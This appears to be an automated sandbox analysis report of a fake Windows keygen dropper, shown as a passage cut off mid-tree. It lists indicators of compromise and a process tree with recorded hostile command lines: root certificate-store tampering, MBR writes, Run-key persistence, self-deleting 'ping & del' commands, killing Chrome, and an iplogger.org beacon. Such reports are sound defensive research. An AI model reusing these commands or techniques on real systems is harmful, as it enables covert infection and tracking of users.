6861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 askinstall20.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e askinstall20.exe -
Runs .reg file with regedit 2 IoCs
pid Process 6960 regedit.exe 5232 regedit.exe -
Runs ping.exe 1 TTPs 5 IoCs
pid Process 3012 PING.EXE 3504 PING.EXE 2248 PING.EXE 5160 PING.EXE 64 PING.EXE -
Script User-Agent 9 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 100 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 613 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 102 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 104 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 210 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 345 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 377 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 511 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 516 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3684 1615303585499.exe 3684 1615303585499.exe 2924 1615303590030.exe 2924 1615303590030.exe 3752 1615303595077.exe 3752 1615303595077.exe 1320 file.exe 1320 file.exe 212 FEE7.tmp.exe 212 FEE7.tmp.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 1320 file.exe 1320 file.exe 1320 file.exe 1320 file.exe 1320 file.exe 1320 file.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe 4136 multitimer.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 192 msiexec.exe Token: SeIncreaseQuotaPrivilege 192 msiexec.exe Token: SeSecurityPrivilege 1476 msiexec.exe Token: SeCreateTokenPrivilege 192 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 192 msiexec.exe Token: SeLockMemoryPrivilege 192 msiexec.exe Token: SeIncreaseQuotaPrivilege 192 msiexec.exe Token: SeMachineAccountPrivilege 192 msiexec.exe Token: SeTcbPrivilege 192 msiexec.exe Token: SeSecurityPrivilege 192 msiexec.exe Token: SeTakeOwnershipPrivilege 192 msiexec.exe Token: SeLoadDriverPrivilege 192 msiexec.exe Token: SeSystemProfilePrivilege 192 msiexec.exe Token: SeSystemtimePrivilege 192 msiexec.exe Token: SeProfSingleProcessPrivilege 192 msiexec.exe Token: SeIncBasePriorityPrivilege 192 msiexec.exe Token: SeCreatePagefilePrivilege 192 msiexec.exe Token: SeCreatePermanentPrivilege 192 msiexec.exe Token: SeBackupPrivilege 192 msiexec.exe Token: SeRestorePrivilege 192 msiexec.exe Token: SeShutdownPrivilege 192 msiexec.exe Token: SeDebugPrivilege 192 msiexec.exe Token: SeAuditPrivilege 192 msiexec.exe Token: SeSystemEnvironmentPrivilege 192 msiexec.exe Token: SeChangeNotifyPrivilege 192 msiexec.exe Token: SeRemoteShutdownPrivilege 192 msiexec.exe Token: SeUndockPrivilege 192 msiexec.exe Token: SeSyncAgentPrivilege 192 msiexec.exe Token: SeEnableDelegationPrivilege 192 msiexec.exe Token: SeManageVolumePrivilege 192 msiexec.exe Token: SeImpersonatePrivilege 192 msiexec.exe Token: SeCreateGlobalPrivilege 192 msiexec.exe Token: SeCreateTokenPrivilege 192 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 192 msiexec.exe Token: SeLockMemoryPrivilege 192 msiexec.exe Token: SeIncreaseQuotaPrivilege 192 msiexec.exe Token: SeMachineAccountPrivilege 192 msiexec.exe Token: SeTcbPrivilege 192 msiexec.exe Token: SeSecurityPrivilege 192 msiexec.exe Token: SeTakeOwnershipPrivilege 192 msiexec.exe Token: SeLoadDriverPrivilege 192 msiexec.exe Token: SeSystemProfilePrivilege 192 msiexec.exe Token: SeSystemtimePrivilege 192 msiexec.exe Token: SeProfSingleProcessPrivilege 192 msiexec.exe Token: SeIncBasePriorityPrivilege 192 msiexec.exe Token: SeCreatePagefilePrivilege 192 msiexec.exe Token: SeCreatePermanentPrivilege 192 msiexec.exe Token: SeBackupPrivilege 192 msiexec.exe Token: SeRestorePrivilege 192 msiexec.exe Token: SeShutdownPrivilege 192 msiexec.exe Token: SeDebugPrivilege 192 msiexec.exe Token: SeAuditPrivilege 192 msiexec.exe Token: SeSystemEnvironmentPrivilege 192 msiexec.exe Token: SeChangeNotifyPrivilege 192 msiexec.exe Token: SeRemoteShutdownPrivilege 192 msiexec.exe Token: SeUndockPrivilege 192 msiexec.exe Token: SeSyncAgentPrivilege 192 msiexec.exe Token: SeEnableDelegationPrivilege 192 msiexec.exe Token: SeManageVolumePrivilege 192 msiexec.exe Token: SeImpersonatePrivilege 192 msiexec.exe Token: SeCreateGlobalPrivilege 192 msiexec.exe Token: SeCreateTokenPrivilege 192 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 192 msiexec.exe Token: SeLockMemoryPrivilege 192 msiexec.exe -
Suspicious use of FindShellTrayWindow 38 IoCs
pid Process 192 msiexec.exe 4732 Setup3310.tmp 4740 chashepro3.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4824 vpn.tmp 4892 IBInstaller_97039.tmp -
Suspicious use of SetWindowsHookEx 26 IoCs
pid Process 1420 Setup.exe 3908 AD754B4D3FE2C4EE.exe 2380 AD754B4D3FE2C4EE.exe 1596 firefox.exe 3684 1615303585499.exe 1196 firefox.exe 2924 1615303590030.exe 1596 firefox.exe 3752 1615303595077.exe 4368 45zjevdzakr.exe 4432 45zjevdzakr.tmp 4420 vict.exe 4556 vict.tmp 4564 askinstall24.exe 4648 chashepro3.exe 4612 Setup3310.exe 4668 vpn.exe 4732 Setup3310.tmp 4740 chashepro3.tmp 4824 vpn.tmp 5064 Brava.exe 856 app.exe 1848 IBInstaller_97039.exe 4892 IBInstaller_97039.tmp 3852 chrome_proxy.exe 4468 ThunderFW.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3584 wrote to memory of 4020 3584 Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe 77 PID 3584 wrote to memory of 4020 3584 Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe 77 PID 3584 wrote to memory of 4020 3584 Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe 77 PID 4020 wrote to memory of 1988 4020 cmd.exe 80 PID 4020 wrote to memory of 1988 4020 cmd.exe 80 PID 4020 wrote to memory of 1988 4020 cmd.exe 80 PID 4020 wrote to memory of 2304 4020 cmd.exe 81 PID 4020 wrote to memory of 2304 4020 cmd.exe 81 PID 4020 wrote to memory of 2304 4020 cmd.exe 81 PID 4020 wrote to memory of 1920 4020 cmd.exe 82 PID 4020 wrote to memory of 1920 4020 cmd.exe 82 PID 4020 wrote to memory of 1920 4020 cmd.exe 82 PID 4020 wrote to memory of 3452 4020 cmd.exe 83 PID 4020 wrote to memory of 3452 4020 cmd.exe 83 PID 4020 wrote to memory of 3452 4020 cmd.exe 83 PID 1988 wrote to memory of 3216 1988 keygen-pr.exe 84 PID 1988 wrote to memory of 3216 1988 keygen-pr.exe 84 PID 1988 wrote to memory of 3216 1988 keygen-pr.exe 84 PID 3452 wrote to memory of 1420 3452 keygen-step-4.exe 85 PID 3452 wrote to memory of 1420 3452 keygen-step-4.exe 85 PID 3452 wrote to memory of 1420 3452 keygen-step-4.exe 85 PID 1920 wrote to memory of 2076 1920 keygen-step-3.exe 86 PID 1920 wrote to memory of 2076 1920 keygen-step-3.exe 86 PID 1920 wrote to memory of 2076 1920 keygen-step-3.exe 86 PID 3216 wrote to memory of 3316 3216 key.exe 88 PID 3216 wrote to memory of 3316 3216 key.exe 88 PID 3216 wrote to memory of 3316 3216 key.exe 88 PID 2076 wrote to memory of 64 2076 cmd.exe 89 PID 2076 wrote to memory of 64 2076 cmd.exe 89 PID 2076 wrote to memory of 64 2076 cmd.exe 89 PID 1420 wrote to memory of 192 1420 Setup.exe 91 PID 1420 wrote to memory of 192 1420 Setup.exe 91 PID 1420 wrote to memory of 192 1420 Setup.exe 91 PID 1476 wrote to memory of 3924 1476 msiexec.exe 93 PID 1476 wrote to memory of 3924 1476 msiexec.exe 93 PID 1476 wrote to memory of 3924 1476 msiexec.exe 93 PID 1420 wrote to memory of 3908 1420 Setup.exe 94 PID 1420 wrote to memory of 3908 1420 Setup.exe 94 PID 1420 wrote to memory of 3908 1420 Setup.exe 94 PID 1420 wrote to memory of 2380 1420 Setup.exe 95 PID 1420 wrote to memory of 2380 1420 Setup.exe 95 PID 1420 wrote to memory of 2380 1420 Setup.exe 95 PID 1420 wrote to memory of 3816 1420 Setup.exe 96 PID 1420 wrote to memory of 3816 1420 Setup.exe 96 PID 1420 wrote to memory of 3816 1420 Setup.exe 96 PID 3452 wrote to memory of 808 3452 keygen-step-4.exe 98 PID 3452 wrote to memory of 808 3452 keygen-step-4.exe 98 PID 3452 wrote to memory of 808 3452 keygen-step-4.exe 98 PID 3816 wrote to memory of 3012 3816 cmd.exe 99 PID 3816 wrote to memory of 3012 3816 cmd.exe 99 PID 3816 wrote to memory of 3012 3816 cmd.exe 99 PID 808 wrote to memory of 3744 808 askinstall20.exe 100 PID 808 wrote to memory of 3744 808 askinstall20.exe 100 PID 808 wrote to memory of 3744 808 askinstall20.exe 100 PID 3744 wrote to memory of 4024 3744 cmd.exe 102 PID 3744 wrote to memory of 4024 3744 cmd.exe 102 PID 3744 wrote to memory of 4024 3744 cmd.exe 102 PID 2380 wrote to memory of 3212 2380 AD754B4D3FE2C4EE.exe 103 PID 2380 wrote to memory of 3212 2380 AD754B4D3FE2C4EE.exe 103 PID 2380 wrote to memory of 3212 2380 AD754B4D3FE2C4EE.exe 103 PID 3908 wrote to memory of 1596 3908 AD754B4D3FE2C4EE.exe 105 PID 3908 wrote to memory of 1596 3908 AD754B4D3FE2C4EE.exe 105 PID 3908 wrote to memory of 1596 3908 AD754B4D3FE2C4EE.exe 105 PID 3908 wrote to memory of 1596 3908 AD754B4D3FE2C4EE.exe 105
Processes
-
C:\Users\Admin\AppData\Local\Temp\Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe"C:\Users\Admin\AppData\Local\Temp\Windows_10_Pro_x64_Includes_keygen_by_KeygenNinja.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3584 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
- Suspicious use of WriteProcessMemory
PID:4020 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1988 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3216 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵PID:3316
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
PID:2304
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1920 -
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
PID:64
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3452 -
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1420 -
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:192
-
-
C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exeC:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe 0011 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3908 -
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:1596
-
-
C:\Users\Admin\AppData\Roaming\1615303585499.exe"C:\Users\Admin\AppData\Roaming\1615303585499.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615303585499.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3684
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:1196
-
-
C:\Users\Admin\AppData\Roaming\1615303590030.exe"C:\Users\Admin\AppData\Roaming\1615303590030.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615303590030.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2924
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe"6⤵
- Suspicious use of SetWindowsHookEx
PID:1596
-
-
C:\Users\Admin\AppData\Roaming\1615303595077.exe"C:\Users\Admin\AppData\Roaming\1615303595077.exe" /sjson "C:\Users\Admin\AppData\Roaming\1615303595077.txt"6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:3752
-
-
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exeC:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4468
-
-
C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP6⤵PID:5948
-
-
-
C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exeC:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe 200 installp15⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2380 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵PID:3212
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
PID:584
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\AD754B4D3FE2C4EE.exe"6⤵PID:2952
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 37⤵
- Runs ping.exe
PID:3504
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"5⤵
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 36⤵
- Runs ping.exe
PID:3012
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:808 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe5⤵
- Suspicious use of WriteProcessMemory
PID:3744 -
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe6⤵
- Kills process with taskkill
PID:4024
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Install.exe"4⤵
- Executes dropped EXE
PID:3008 -
C:\Users\Admin\AppData\Local\Temp\QGG2GLQ6FE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\QGG2GLQ6FE\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:3824 -
C:\Users\Admin\AppData\Local\Temp\QGG2GLQ6FE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\QGG2GLQ6FE\multitimer.exe" 1 3.1615299779.604784c3e586c 1016⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3880 -
C:\Users\Admin\AppData\Local\Temp\QGG2GLQ6FE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\QGG2GLQ6FE\multitimer.exe" 2 3.1615299779.604784c3e586c7⤵
- Executes dropped EXE
- Checks for any installed AV software in registry
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:4136 -
C:\Users\Admin\AppData\Local\Temp\il3b3wfkdy0\poccgpqmzix.exe"C:\Users\Admin\AppData\Local\Temp\il3b3wfkdy0\poccgpqmzix.exe" 57a764d042bf88⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4320 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k "C:\Program Files\1L2BILU54Y\1L2BILU54.exe" 57a764d042bf8 & exit9⤵PID:4832
-
C:\Program Files\1L2BILU54Y\1L2BILU54.exe"C:\Program Files\1L2BILU54Y\1L2BILU54.exe" 57a764d042bf810⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
PID:2992
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ldy4isklms0\45zjevdzakr.exe"C:\Users\Admin\AppData\Local\Temp\ldy4isklms0\45zjevdzakr.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4368 -
C:\Users\Admin\AppData\Local\Temp\is-3QSN8.tmp\45zjevdzakr.tmp"C:\Users\Admin\AppData\Local\Temp\is-3QSN8.tmp\45zjevdzakr.tmp" /SL5="$50134,870426,780800,C:\Users\Admin\AppData\Local\Temp\ldy4isklms0\45zjevdzakr.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4432 -
C:\Users\Admin\AppData\Local\Temp\is-0N30H.tmp\winlthst.exe"C:\Users\Admin\AppData\Local\Temp\is-0N30H.tmp\winlthst.exe" test1 test110⤵PID:5316
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hyxa5vpe0jy\vict.exe"C:\Users\Admin\AppData\Local\Temp\hyxa5vpe0jy\vict.exe" /VERYSILENT /id=5358⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4420 -
C:\Users\Admin\AppData\Local\Temp\is-IJRRH.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-IJRRH.tmp\vict.tmp" /SL5="$9002E,870426,780800,C:\Users\Admin\AppData\Local\Temp\hyxa5vpe0jy\vict.exe" /VERYSILENT /id=5359⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:4556 -
C:\Users\Admin\AppData\Local\Temp\is-P3NI0.tmp\wimapi.exe"C:\Users\Admin\AppData\Local\Temp\is-P3NI0.tmp\wimapi.exe" 53510⤵PID:5332
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\lmh2dj1ne4i\ruqpmtbe2cl.exe"C:\Users\Admin\AppData\Local\Temp\lmh2dj1ne4i\ruqpmtbe2cl.exe" testparams8⤵
- Executes dropped EXE
PID:4408 -
C:\Users\Admin\AppData\Roaming\mpapggbbnkv\zhwqy3ojd1p.exe"C:\Users\Admin\AppData\Roaming\mpapggbbnkv\zhwqy3ojd1p.exe" /VERYSILENT /p=testparams9⤵PID:5172
-
C:\Users\Admin\AppData\Local\Temp\is-DQD0R.tmp\zhwqy3ojd1p.tmp"C:\Users\Admin\AppData\Local\Temp\is-DQD0R.tmp\zhwqy3ojd1p.tmp" /SL5="$C002C,552809,216064,C:\Users\Admin\AppData\Roaming\mpapggbbnkv\zhwqy3ojd1p.exe" /VERYSILENT /p=testparams10⤵PID:5340
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wyqyyym3ktf\askinstall24.exe"C:\Users\Admin\AppData\Local\Temp\wyqyyym3ktf\askinstall24.exe"8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4564 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵PID:4772
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
PID:5692
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\anm3euique3\ylg2l0o2u5k.exe"C:\Users\Admin\AppData\Local\Temp\anm3euique3\ylg2l0o2u5k.exe" /ustwo INSTALL8⤵
- Executes dropped EXE
PID:4632 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "ylg2l0o2u5k.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\anm3euique3\ylg2l0o2u5k.exe" & exit9⤵PID:4568
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "ylg2l0o2u5k.exe" /f10⤵
- Kills process with taskkill
PID:1224
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ggsdiatmsb4\chashepro3.exe"C:\Users\Admin\AppData\Local\Temp\ggsdiatmsb4\chashepro3.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4648 -
C:\Users\Admin\AppData\Local\Temp\is-UN430.tmp\chashepro3.tmp"C:\Users\Admin\AppData\Local\Temp\is-UN430.tmp\chashepro3.tmp" /SL5="$7007A,1478410,58368,C:\Users\Admin\AppData\Local\Temp\ggsdiatmsb4\chashepro3.exe" /VERYSILENT9⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4740 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c "start https://iplogger.org/1aSny7"10⤵PID:5000
-
-
C:\Program Files (x86)\JCleaner\Brava.exe"C:\Program Files (x86)\JCleaner\Brava.exe"10⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5064
-
-
C:\Program Files (x86)\JCleaner\Venita.exe"C:\Program Files (x86)\JCleaner\Venita.exe"10⤵
- Executes dropped EXE
PID:5096 -
C:\Program Files (x86)\JCleaner\Venita.exe"{path}"11⤵PID:6584
-
-
-
C:\Program Files (x86)\JCleaner\mex.exe"C:\Program Files (x86)\JCleaner\mex.exe"10⤵
- Executes dropped EXE
PID:4180 -
